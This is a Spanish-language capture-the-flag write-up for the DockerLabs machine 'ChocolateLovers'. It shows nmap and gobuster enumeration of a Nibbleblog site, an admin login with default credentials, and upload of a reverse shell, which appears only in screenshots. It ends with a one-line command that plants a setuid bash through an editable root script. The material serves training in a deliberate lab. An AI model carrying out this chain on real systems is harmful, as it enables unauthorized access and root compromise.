> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/dockerlabs/facil/chocolatelovers.md).

# ChocolateLovers

## Maquina

<figure><img src="/files/bmGx3HUG3xctL0B3B8Tz" alt=""><figcaption></figcaption></figure>

## Reconocimiento

### Nmap

```bash
sudo nmap -p- --open -sS -sC -sV --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oN nmap.txt
```

```
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
```

### Web

Si entramos a la web veremos que es una pagina default de Apache, pero si miramos el codigo veremos que hay un directorio comentado.

<figure><img src="/files/MSe7csWu35hEPXrTtQ4K" alt=""><figcaption></figcaption></figure>

Si entramos a este directorio veremos esta pagina:

<figure><img src="/files/dj17y1CIOhMeqOUOu7A5" alt=""><figcaption></figcaption></figure>

### Gobuster

```bash
sudo gobuster dir -u 172.17.0.2/nibbleblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster.txt
```

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2/nibbleblog/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/content              (Status: 301) [Size: 321] [--> http://172.17.0.2/nibbleblog/content/]
/themes               (Status: 301) [Size: 320] [--> http://172.17.0.2/nibbleblog/themes/]
/admin                (Status: 301) [Size: 319] [--> http://172.17.0.2/nibbleblog/admin/]
/plugins              (Status: 301) [Size: 321] [--> http://172.17.0.2/nibbleblog/plugins/]
/README               (Status: 200) [Size: 4628]
/languages            (Status: 301) [Size: 323] [--> http://172.17.0.2/nibbleblog/languages/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
```

```bash
sudo gobuster dir -u 172.17.0.2/nibbleblog -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,zip,rar,tar,gz,css,xml,json,rb,py,jpg,jpeg,png,gif,svg,ico,pdf,sql,log,ini,conf,config,backup,sh,bash | tee gobusterExt.txt
```

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2/nibbleblog
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              gz,js,rb,jpg,gif,pdf,ini,xml,svg,log,png,py,config,tar,json,backup,php,rar,sql,conf,sh,bash,zip,txt,css,html,ico,jpeg
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/index.php            (Status: 200) [Size: 5015]
/sitemap.php          (Status: 200) [Size: 541]
/content              (Status: 301) [Size: 321] [--> http://172.17.0.2/nibbleblog/content/]
/themes               (Status: 301) [Size: 320] [--> http://172.17.0.2/nibbleblog/themes/]
/feed.php             (Status: 200) [Size: 1289]
/admin                (Status: 301) [Size: 319] [--> http://172.17.0.2/nibbleblog/admin/]
/admin.php            (Status: 200) [Size: 1401]
/plugins              (Status: 301) [Size: 321] [--> http://172.17.0.2/nibbleblog/plugins/]
/install.php          (Status: 200) [Size: 78]
/update.php           (Status: 200) [Size: 1792]
/README               (Status: 200) [Size: 4628]
/languages            (Status: 301) [Size: 323] [--> http://172.17.0.2/nibbleblog/languages/]
/LICENSE.txt          (Status: 200) [Size: 35148]
/COPYRIGHT.txt        (Status: 200) [Size: 1272]
/.php                 (Status: 403) [Size: 275]
/.html                (Status: 403) [Size: 275]
Progress: 6394970 / 6396269 (99.98%)
===============================================================
Progress: 6396240 / 6396269 (100.00%)Finished
===============================================================
```

## Explotación

### Acceso web

Si revisamos los directorios nos toparemos con un `/admin.php`

<figure><img src="/files/PVwi0DxsnuRxstRlggi3" alt=""><figcaption></figcaption></figure>

Si usamos las credenciales por defecto `Username=admin` y `Password=admin`

<figure><img src="/files/ixIDelEvYs0AEfJPkCRW" alt=""><figcaption></figcaption></figure>

Si miramos entre las opciones veremos una que nos permite subir archivos.&#x20;

<figure><img src="/files/9aK1cSwPERmzi6hZJOGz" alt=""><figcaption></figcaption></figure>

Subimos una reverse shell, no aparecerán unos cuantos Warnings, pero si nos dirigimos al directorio donde hemos subido esta shell, hay estará:

{% hint style="info" %}
Hay que buscar bien entre los directorios, esta medio escondido.
{% endhint %}

<figure><img src="/files/oKYCYk9DeMgt4zIu0DXN" alt=""><figcaption></figcaption></figure>

## Escalado de privilegios

Con esto conseguimos acceso somo el usuario `www-data`:

<figure><img src="/files/w0aO0TMEeoPq6OEKBQmK" alt=""><figcaption></figcaption></figure>

Comprobamos los permisos que tiene este usuario y lo explotamos este binario siguiendo lo que pone en [GTFOBins](https://gtfobins.github.io/).

<figure><img src="/files/4SPlUkOeitG0lKP70Elw" alt=""><figcaption></figcaption></figure>

Siendo el usuario `chocolate`, si buscamos entre los directorios daremos con un script que podemos editar.

<figure><img src="/files/qK8sWyHj2WQ585FAQCus" alt=""><figcaption></figcaption></figure>

Si editamos este script y ponemos:

```bash
echo '<?php exec(chmod u+s /bin/bash); ?>' > /opt/script.php
```

<figure><img src="/files/DFBiC4tGSYxjAroXrQ4T" alt=""><figcaption></figcaption></figure>

Con esto ya conseguiríamos ser root:

<figure><img src="/files/TJuxE3QwAJcBjwcYtkwF" alt=""><figcaption></figcaption></figure>

## Conclusion

Una maquina completa con bastante búsqueda por directorios, uso de credenciales por defecto y escalado de privilegios por binarios y por scripts.